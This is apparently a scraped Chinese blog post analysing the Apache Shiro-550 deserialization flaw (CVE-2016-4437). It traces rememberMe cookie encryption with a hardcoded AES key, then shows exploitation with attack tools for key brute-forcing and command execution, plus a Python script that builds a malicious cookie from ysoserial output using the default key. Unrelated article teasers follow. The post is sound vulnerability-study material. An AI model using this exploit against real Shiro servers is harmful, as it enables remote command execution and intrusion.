Shiro-550—漏洞分析(CVE-2016-4437)

devtools/2024/9/23 3:51:14/

文章目录

  • 漏洞原理
  • 源码分析
    • 加密过程
    • 解密过程
  • 漏洞复现

漏洞原理

Shiro-550(CVE-2016-4437)反序列化漏洞
在调试cookie加密过程的时候发现开发者将AES用来加密的密钥硬编码了,并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie,然后让后台最后解密的时候进行反序列化我们的恶意payload造成攻击。
注:想要搞懂漏洞产生根因主要还是得知道根因是因为密钥写死在了源码中导致可碰撞密钥或直接使用默认密钥,后面就是反序列化漏洞。

源码分析

加密过程

约定:假设传入的用户名是root

1.入口在:onSuccessfulLogin函数
在这里插入图片描述
2.接着看下面有一个if判断是isRememberMe判断是否勾选了RememberMe,我们为了能够进行攻击的话肯定是需要勾选的,并且可以看到返回true进入if后会执行rememberIdentity函数,那么这里就正式开始漏洞剖析了。
在这里插入图片描述
3.跟进rememberIdentity函数,会发现他会用你登录信息来生成一个PrincipalCollection对象
(注意这里传入的是你输入的用户名root)
在这里插入图片描述
注意,我们这里需要跟进rememberIdentity函数里的rememberIdentity函数
进去后你会发现两个函数,这里两大分支:

  • convertPrincipalsToBytes
  • rememberSerializedIdentity

说明:我们先跟踪convertPrincipalsToBytes,但是不要忘了该函数结束后下一行要进行 rememberSerializedIdentity
在这里插入图片描述

4.接着跟进convertPrincipalsToBytes,发现这里就是对用户名root先进行了一个序列化功能,接着如果if成立就进去encrypt加密,那么这两点说的就是整个漏洞的核心。

序列化+加密
但是我们要进行攻击的话就要进一步了解如何加密的,到时候攻击的话序列化就编写对应的代码即可,但是加密过程我们是需要知道的最好是能拿到他的密钥。

在这里插入图片描述
5.那么接着肯定要跟进serialize函数,再进去就没啥好看的了,知道他对用户名进行了一个序列化过程即可。
在这里插入图片描述
6.接着就要回过头来看convertPrincipalsToBytes函数,序列化完成后下面有个getCipherService函数,是用来获取加密方式的。
这里很重要,if判断和if里面的加密函数跟进后会获取到劲爆信息。
在这里插入图片描述

7.开始跟进getCipherService函数
开幕雷击,重要信息+1,
在这里插入图片描述
可以悬停看到他的加密方式AES模式
在这里插入图片描述
8.判断成功找到加密模式后,接下来就是进入if里面进行encrypt加密了
在这里插入图片描述
跟进后发现有做if,然后才开始进行加密,if肯定能进去,刚刚才拿到了加密模式
在这里插入图片描述
9.这里根据执行优先级,先跟进getEncryptionCipherKey方法
这个getEncryptionCipherKey就是最劲爆的,获取加密密钥,赶紧跟进一探究竟
直接返回了encryptionCipherKey,加密密钥就是他,那么肯定要找到他的setter方法,但是这里我决定不深入了,因为我们已经知道该方法是拿到加密密钥即可
在这里插入图片描述
最终你会找到加密密钥为DEFAULT_CIPHER_KEY_BYTES
在这里插入图片描述
10.书接上回getEncryptionCipherKey获取加密密钥成功了,接着就轮到encrypt加密了,但是这里我就不继续跟进了,因为已经知道了加密方式和密钥了。
在这里插入图片描述
11.退出后接着就是 rememberSerializedIdentity
不知道还记得不得之前提醒了convertPrincipalsToBytes函数退出后不要忘记 rememberSerializedIdentity
在这里插入图片描述
12.跟进 rememberSerializedIdentity 函数
里面的都不管了,直接看重要的信息,那就是对convertPrincipalsToBytes函数返回出来的bytes进行再次编码,这里使用了base64加密,然后将最终base64加密后设置为用户的Cookie的rememberMe字段中。
在这里插入图片描述

  • 加密总结
    对cookie进行序列化

    AES加密(密钥可碰撞拿到/用常用默认密钥)

    base64加密

    完成加密,设置cookie字段

解密过程

解密过程其实就和上面加密相反,我更认为通过加密来理解漏洞更让人深刻,所以解密过程就是:

  • 解密总结
    hacker 传入恶意payload放在cookie的rememberMe字段中

    服务端 base64解密

    服务端 AES解密(密钥可碰撞拿到/用常用默认密钥)

    服务端 反序列化数据(攻击成功)

那么其实最终要的就是获取秘钥和生成恶意payload,这两点就在下面漏洞复现来展开。

漏洞复现

1.抓取加密密钥
可以通过burpsuite插件安装来被动获取
https://github.com/pmiaowu/BurpShiroPassiveScan/releases
在这里插入图片描述
插件安装完成后就可以抓包方包看看
在这里插入图片描述
最后在目标那里就能够看到抓到的密钥了
在这里插入图片描述

2.生成payload进行攻击
这里就先介绍集成工具使用,直接一步到位。
本来想着用ysoserial,但是问题多多,使用起来比较麻烦。
建议使用该工具来的快:
https://github.com/SummerSec/ShiroAttack2/releases
使用方法也很简单,运行jar包命令:java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
将你的url放在目标地址上即可
先点爆破密钥,回显日志中有打印:找到key,
接着再点爆破利用链即可
在这里插入图片描述
接着来到命令执行这里随便执行命令了
在这里插入图片描述

同时你还能添加更多的key进字典里面,字典在data目录下。
在这里插入图片描述


下面这种生成payload方式可看可不看,如果你很懂ysoserial就用下面这个,确实ysoserial很强,就是比较麻烦。

网上有现成脚本,改成你自己的dnslog域名
(这个脚本我只测试了dnslog,是成功的)
这个方法有缺点,需要你当前目录下要有ysoserial.jar,同时我试了其他gadget都失败了,执行不了命令,不知道哪里出错了还是咋滴,建议不用修改其他东西,只修改dnslog域名获取到payload,放到cookie那里发包过去探测存在漏洞即可。
请自行下载jar包放在同脚本目录下才能用下面脚本:https://github.com/frohoff/ysoserial/
在这里插入图片描述
接着运行脚本
拿到payload
在这里插入图片描述
接着放到cookie里面,记住一定要放到cookie里面,因为反序列化就是通过cookie反序列化的。
在这里插入图片描述
接着查看dnslog就会发现触发成功
在这里插入图片描述

下面就是脚本源码,千万不要忘记了脚本当前目录下要有ysoserial.jar才能运行起来。

import base64
import uuid
import subprocess
from Crypto.Cipher import AESdef rememberme(command):# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],stdout=subprocess.PIPE)# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# payload = encode_rememberme('127.0.0.1:12345')# payload = rememberme('calc.exe')payload = rememberme('http://xxxx.ceye.io')with open("./payload.cookie", "w") as fpw:print("rememberMe={}".format(payload.decode()))res = "rememberMe={}".format(payload.decode())fpw.write(res)

参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/225442
https://www.cnblogs.com/z2n3/p/17206671.html


http://www.ppmy.cn/devtools/115795.html

相关文章

Java中stream流及Collectors的常见用法详细汇总!!!

目录 1. Stream流的优势 2. 常用用法 2.1 中间操作 2.1.1filter() 2.1.2 map() 2.1.3 sorted() 2.1.4 distinct() 2.1.5 limit() 2.1.6 skip() 2.2 终端操作 2.2.1 foreach() 2.2.2 collect() 2.2.3 reduce() 2.2.4 count() 2.2.5 anyMatch() 2.3 查找和匹配…

【计算机网络篇】电路交换,报文交换,分组交换

本文主要介绍计算机网络中的电路交换,报文交换,分组交换,文中的内容是我认为的重点内容,并非所有。参考的教材是谢希仁老师编著的《计算机网络》第8版。跟学视频课为河南科技大学郑瑞娟老师所讲计网。 目录 🎯一.划分…

面试题(三)

20、CA证书 服务器安装数字证书,客户端安装根证书 CA的颁发机构、有效期、签名、公钥、证书所有者 21、公钥和私钥有什么区别 22、三次握手 四次挥手 为什么要四次 服务端数据没有发送完,二三次不能合并 23、四次挥手完会立马关闭吗(会监…

深入理解 flex-grow、flex-shrink、flex-basis

目录 1. Flex布局 2. flex-grow 计算方式 3. flex-shrink 计算公式 4. flex-basis 5. 应用场景 6. 总结 1. Flex布局 Flex 是 Flexible Box 的缩写,意为"弹性布局",用来为盒状模型提供最大的灵活性 flex属性是flex-grow, flex-shrink 和…

Nginx泛域名 解析的匹配前缀绑定或转发到子目录

网站的目录结构为: # tree /home/wwwroot/landui.com /home/wwwroot/landui.com ├── bbs │ └── index.html └── www └── index.html 2 directories, 2 files /home/wwwroot/landui.com为nginx的安装目录下默认的存放源代码的路径。 bbs为论坛…

Java后端框架---Spring

目录 一.Spring是什么? 二.Spring Hello World 搭建 三.XML配置bean管理 1.bean标签 2.依赖注入 3.依赖注入的补充 四.注解配置bean管理 1.开启注解扫描 2.使用注解对类进行配置 3.自动注入 五.面向切面编程AOP 1.概述 2.通知 六.spring事务管理 1.数据库…

线阵相机的参数选型计算

一、要求 如果测量物体的宽度为1800mm,精度1毫米、运动速度25000mm/s。 1. 相机分辨率的确定 幅宽与像素的关系:客户要求的幅宽是1800毫米,精度是1毫米。理论上,如果每个像素对应1毫米,那么相机至少需要1800个像素来覆盖整个幅…

go语言基础入门(一)

变量声明:批量声明变量:变量赋值: 声明变量同时为变量赋值可以在变量声明时为其赋值go中赋值时的编译器会自动根据等号右侧的数据类型自动推导变量的类型使用 : 进行赋值匿名变量 常量常量计数器iota1. 使用场景2. 基本用法3. 简化语法4. 自定义增量5. 复杂使用go的类似枚举 使…